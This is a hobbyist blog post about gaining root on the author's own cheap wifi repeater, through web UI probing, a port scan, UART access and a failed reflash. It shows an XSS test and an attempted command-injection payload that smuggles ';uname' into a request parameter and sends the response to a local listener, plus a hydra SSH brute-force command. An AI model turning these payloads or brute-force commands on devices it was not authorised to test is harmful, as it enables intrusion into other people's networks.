Getting root access on a $10 Aliexpress Wifi repeater

I have a fixation of buying little electronic trinkets and gadgets on foreign websites for cheap prices. Something about the cost of such little things, and that it takes 3-4 weeks to arrive to my door, provides me with excitement when I visit the post office to pick up my parcels. Lately, I purchased some ESP32 and ESP8266 boards for around $3, and various other programmers and jumper cables for around the same price point. It makes experimenting with a new project fun and inexpensive (great if you like to drop projects after a month too).

In the hot summer we're having out here, I like to sit in my yard and read online tech news and blogs on my phone. Being the hedonistic person I am, I cannot wait 3-4 seconds for a page to load. The wifi coverage at my house is sufficient in doors, but when I go 150 yards away, it can be abysmal. 

 

The purchase



So, in my regular late night Aliexpress shopping sprees, I found a $10 ($7 USD) wifi repeater that might fit the bill. 

It seems the price has gone up since I purchased the device

There's really no information about this device, anywhere. No model number. These seem to get the model numbers of AC1200M and also U13 if you poke around Aliexpress. If you look on Amazon, you'll find the exact same model selling for over double. It seems to connect this device to your wifi network, you use the WPS button and voila, it connects and you have a repeated signal.

So when it finally arrived the other day, I plugged it into the wall, followed the not-so-cryptic instruction manual and I was on my way. 

The hardware

 

The device offers three modes: a bridge repeater mode, and access point mode using the ethernet ports and also a router mode, where it can act as a full wifi router. Interesting. Powerful for such a small and cheap device, it had me curious what it was running, The web UI is quite simple and required no admin password, despite it displaying on the device's sticker.

 

 

 

 

 

 

 

 

But of course like any foreign tech you order from Aliexpress/Alibaba/Ebay, I was curious if it was sending any data back to foreign servers. Nevermind, could I get into it and run my own firmware? The web UI has a firmware upgrade option, but of course, I don't know the actual model of this wifi repeater. There's no obvious branding, the seller listing doesn't have any searchable model numbers.
Edit: I was able to find a FCC listing here: https://fccid.io/2A2F4-U13
 

The software

 

To gain root access, searching the page source in the web UI resulted me with also nothing. Years ago, I found an exploit in a popular Canadian (Shaw) ISP's modem that allowed a user to run arbitrary commands. Can I do the same with this?
 




 

The admin panel allows you to set the router's IP address, but funny enough not the DHCP range it assigns, nor DNS servers. The panel sends all 'get' or 'set' requests to:

/protocol.csp


Recreating the requests in curl, we can see:


curl 'http://192.168.11.1/protocol.csp?fname=net&opt=lan_conf&function=get&math=0.123456789' \
    --compressed \
    -X POST \
    -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0' \
    -H 'Accept: application/json, text/javascript, */*; q=0.01' \
    -H 'Accept-Language: en-CA,en-US;q=0.7,en;q=0.3' \
    -H 'Accept-Encoding: gzip, deflate' \
    -H 'Referer: http://192.168.11.1/home.html' \
    -H 'X-Requested-With: XMLHttpRequest' \
    -H 'Origin: http://192.168.11.1' \
    -H 'Connection: keep-alive' \
    -H 'Pragma: no-cache' \
    -H 'Cache-Control: no-cache' \
    -H 'Content-Length: 0'

Response:

    
    { "opt": "lan_conf", "fname": "net", "function": "get", "ip": "192.168.11.1", "mask": "255.255.255.0", "server": 1, "sip": " ", "eip": " ", "dhcpdmask": " ", "dhcpdgw": " ", "dhcpddns1": " ", "dhcpddns2": " ", "dhcpStart": "100", "dhcpLimit": "150", "hwlanmac": "A0:3E:1A:50:7E:CF", "error": 0 }

 Poking through a few more requests, I found that "fname" can either be "system" or "net", with no clear distinction of access. "opt" is the larger function and determines the action of the repeater, but all pre-set commands.

The bulk of actions are performed in /router.js:

var cPage=window.location.toString().replace(/.*\//,'');
cPage=cPage.replace(/\?.*/,'');

var router = {
	//修改密码
	setPassword: function () {
		$.ajax({
			type: "post",
			url: actionUrl,
			data: "fname=system&opt=login_account&function=set&passwd="+$("#new_passwd").val(),
			dataType: "json",
			success: function (data) {
				var jsonObject = data;
				if (jsonObject.error == 0) {					
					toLogin();
					return;
				} else {
					return;
				}
			}
		});
	},
	//语言设置
	getLang: function () {
		$.ajax({
			type: "post",
			url: actionUrl+"fname=system&opt=lang&function=get&math="+Math.random(),
			dataType: "json",
			success: function (data) {
				var jsonObject = data;
				if (jsonObject.error == 0) {
                    $("#lang").val(jsonObject.lang);
                } else {
                    $("#lang").val("1");
                }
			}
		});
	},
...

XSS vulnerability



Language translations are handled by /langen.js:

function dw(key){document.write(key);}
/*--------------------------------*/
var TT_APManagementSystem = "";
var TT_APMode = "AP Mode";
var TT_APModeSet = "AP Mode Settings";
var TT_Auto = "Automatic";
var TT_Back = "BACK";
var TT_Bw = "Bandwidth";
var TT_AllSet = "Advanced Settings";
var TT_Cancel = "Cancel";

And used like so in home.html:

<p><script>dw(TT_RebootDevice)</script>Restart Device</p>

But, but could it be? Could it be vulnerable to an XSS attack? Using the console in Firefox:

dw('<script>alert("XSS")</script>');

and it works! Taking this a step farther, could we inject arbitrary commands? Short answer: no, but I tried anyway.


To see the response of requests, I ran the Python HTTP server:

python3 -m http.server 8000

And attempting injection by appending ;uname to an action:

dw('<script>fetch("http://192.168.11.1/protocol.csp?fname=net;uname&opt=ap_list&function=uname&math=0.5426655699549746").then(response => response.text()).then(data => { new Image().src = "http://192.168.11.168:8000/?data=" + encodeURIComponent(data); });</script>');

....we simply get redirected back to index.html :(

 

My next step was to scan what files might be available to us. We do have 192.168.11.1/cgi-bin/upload.cgi, which is used to upload custom firmware. But without being able to download the current firmware, or find new firmware on the internet, it doesn't leave us with much. 
 

 

Running a port scan, we can see that we have SSH, telnet, DNS and a HTTP server:

Starting Nmap 7.95 ( https://nmap.org ) at 2024-07-17 07:41 PDT
Nmap scan report for 192.168.11.1
Host is up (0.0062s latency).
Not shown: 995 closed tcp ports (reset)
PORT   STATE SERVICE    VERSION
22/tcp open  ssh        Dropbear sshd (protocol 2.0)
23/tcp open  telnet     BusyBox telnetd
53/tcp open  domain     Unbound
80/tcp open  http       lighttpd 1.4.32
81/tcp open  hosts2-ns?
MAC Address: A0:3E:1A:50:7E:CF (Unknown)
Device type: WAP
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3.18 cpe:/o:linux:linux_kernel:4.1
OS details: OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4)
Network Distance: 1 hop
Service Info: Host: Srepeater; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 81 is odd, and loading the webpage in Firefox doesn't work. But seeing the device running OpenWrt gave me hope! This wifi repeater is powerful enough to run OpenWrt, it would be great if we could transform this into a little firewall since it has two ethernet ports.

 

For SSH, I tried every password under the sun to get in. Using hydra with a common wordlist, would take approx 25 hours.

hydra -l root -P ./ssh_passwd.txt -e ssh-rsa 192.168.11.1 ssh


I am far too impatient for that. Running directory scanning tools like gobuster and checking for vulnerabilities with nikto didn't result in anything fruitful anyway.

 

Getting UART

I figured there would probably be a UART pin out on the PCB, nevermind I would be able to determine what chip this wifi repeater has and possibly re-flash OpenWrt and start fresh.

 

There are two small Phillips screws near the bottom of the device. Pry the device open (clips) and you're in!

 

 

We have our AC->DC converter plugged into the board...and finally some model numbers! Searching around for "U10 300M5 Wifi repeater" netted me with nothing, same for the other numbers on the board. Somehow this devices goes by U10 and also U13.

 

 

 

We have two interesting chips:   HY5PS1G1631C-FPY5 and QCA9533-BL3A. DDR2 RAM and our SoC. And, we can see there is a UART header too. After some fiddling around determining which pin is which, I got UART output in picocom at 115200 baud using an ESP programmer:
 


Amazing! 550mhz clock speed, 128MB of RAM with 8MB of flash.

From top to bottom (facing the chip labels), the pinout is: GND, RX, TX
 

 


 

 

We can interrupt the boot process and get a root shell. Finally, we can reset the root password to get SSH.
After doing so and poking around, it is largely factory-default OpenWrt with a few new web files for the wifi repeater web UI (which using lighttpd), and a few scripts for controlling the LEDs.
 


root@Srepeater:/# cat /etc/board.json 
{
	"model": {
		"id": "zbt-we1526",
		"name": "Zbtlink ZBT-WE1526"
	},
	"led": {
		"ethport": {
			"name": "ETHPORT",
			"type": "netdev",
			"sysfs": "ap147:green:ethport",
			"device": "eth0",
			"mode": "link tx rx"
		},
		"port0led": {
			"name": "PORT0LED",
			"type": "netdev",
			"sysfs": "ap147:green:wps",
			"device": "eth1",
			"mode": "link tx rx"
		}
	},
	"network": {
		"lan": {
			"ifname": "eth1 eth0",
			"protocol": "static"
		},
		"wan": {
			"ifname": "eth0",
			"protocol": "dhcp"
		}
	},
	"switch": {
		"switch0": {
			"enable": true,
			"reset": true,
			"ports": [
				{
					"num": 0,
					"device": "eth0",
					"need_tag": false,
					"want_untag": false
				},
				{
					"num": 1,
					"role": "lan",
					"index": 4
				},
				{
					"num": 2,
					"role": "lan",
					"index": 3
				},
				{
					"num": 3,
					"role": "lan",
					"index": 2
				},
				{
					"num": 4,
					"role": "lan",
					"index": 1
				}
			],
			"roles": [
				{
					"role": "lan",
					"ports": "1 2 3 4 0",
					"device": "eth0"
				}
			]
		}
	}
}

With the SoC and model number now, we can figure out what OpenWrt firmware to flash. There is a mystery binary in /usr/sbin/commuos that runs on boot, with no output upon execution. Flashing OpenWrt would allow us a clean slate and prevent our network from potentially being spied upon.

root@Srepeater:/# uname -a
Linux Srepeater 4.4.194 #0 Fri Jun 30 03:16:53 2023 mips GNU/Linux
root@Srepeater:/# free -m
             total       used       free     shared    buffers     cached
Mem:        125360      23504     101856        112       2604       6720
-/+ buffers/cache:      14180     111180
Swap:            0          0          0
root@Srepeater:/# df -h
Filesystem                Size      Used Available Use% Mounted on
/dev/root                 3.0M      3.0M         0 100% /rom
tmpfs                    61.2M    112.0K     61.1M   0% /tmp
/dev/mtdblock3            3.2M    340.0K      2.9M  10% /overlay
overlayfs:/overlay        3.2M    340.0K      2.9M  10% /
tmpfs                   512.0K         0    512.0K   0% /dev
root@Srepeater:/# cat /etc/mtab 
/dev/root /rom squashfs ro,relatime 0 0
proc /proc proc rw,nosuid,nodev,noexec,noatime 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,noatime 0 0
tmpfs /tmp tmpfs rw,nosuid,nodev,noatime 0 0
/dev/mtdblock3 /overlay jffs2 rw,noatime 0 0
overlayfs:/overlay / overlay rw,noatime,lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/work 0 0
tmpfs /dev tmpfs rw,nosuid,relatime,size=512k,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,mode=600 0 0
debugfs /sys/kernel/debug debugfs rw,noatime 0 0

And to see what ports are open (you know, something something security):
 

root@Srepeater:/tmp/log# netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:81              0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:53              0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:25000           0.0.0.0:*               LISTEN      
tcp        0      0 :::53                   :::*                    LISTEN      
tcp        0      0 :::22                   :::*                    LISTEN      
tcp        0      0 :::23                   :::*                    LISTEN      
tcp        0      0 :::25000                :::*                    LISTEN      
udp        0      0 0.0.0.0:53              0.0.0.0:*                           
udp        0      0 0.0.0.0:67              0.0.0.0:*                           
udp        0      0 :::547                  :::*                                
udp        0      0 :::53                   :::*   


Port 25000? Odd, that didn't come up on port scans.

root@Srepeater:/tmp/log# netstat -tulnp | grep :25000
tcp        0      0 0.0.0.0:25000           0.0.0.0:*               LISTEN      714/uhttpd
tcp        0      0 :::25000                :::*                    LISTEN      714/uhttpd

Uhttpd? And on a hunch to see if LuCi was available...

And it is! So out of the box, LuCi is available but we wouldn't be able to get in without changing the root password.


 




Defeat

 



Now here's the funny part of this post: I bricked it.
 


I flashed a sysupgrade OpenWrt image, didn't think about the flash layout, said YOLO and here we are. The saving grace here is that we can still flash images via the Breed bootloader either by the serial or web interface. Translating the web interface (from Chinese) lead me to believe I was able to flash the bin, but I was unsuccessful. It seemed to only accept factory TPLink (?) and SDK non-OS bins. I was able to backup the ART (?) and flash, available here: https://geekness.eu/sites/default/files/u13-firmware-backup.tar.gz

So with a usable bootloader recovery, I then proceeded to flash the bin by specifying the flash start address (0x10000).....and overwrote the bootloader. There's not much else to do here except accept defeat, and attempt this all over again with a new device.

The silver lining is that I did backup the rootfile system when I had SSH access, available here: https://geekness.eu/sites/default/files/fs-backup.tar.gz
Things to investigate for part two:
- Analyze the root filesystem to see what I missed for next time - can we get get the root password without having to open the device?
- Can we login to LuCi by default?

This was a fun little project to work on, and hit that satisfying nerve of infiltrating an off the shelf device.




 

Tags
Attachment Size
u13-firmware-backup.tar.gz 5.13 MB
fs-backup.tar.gz 5.71 MB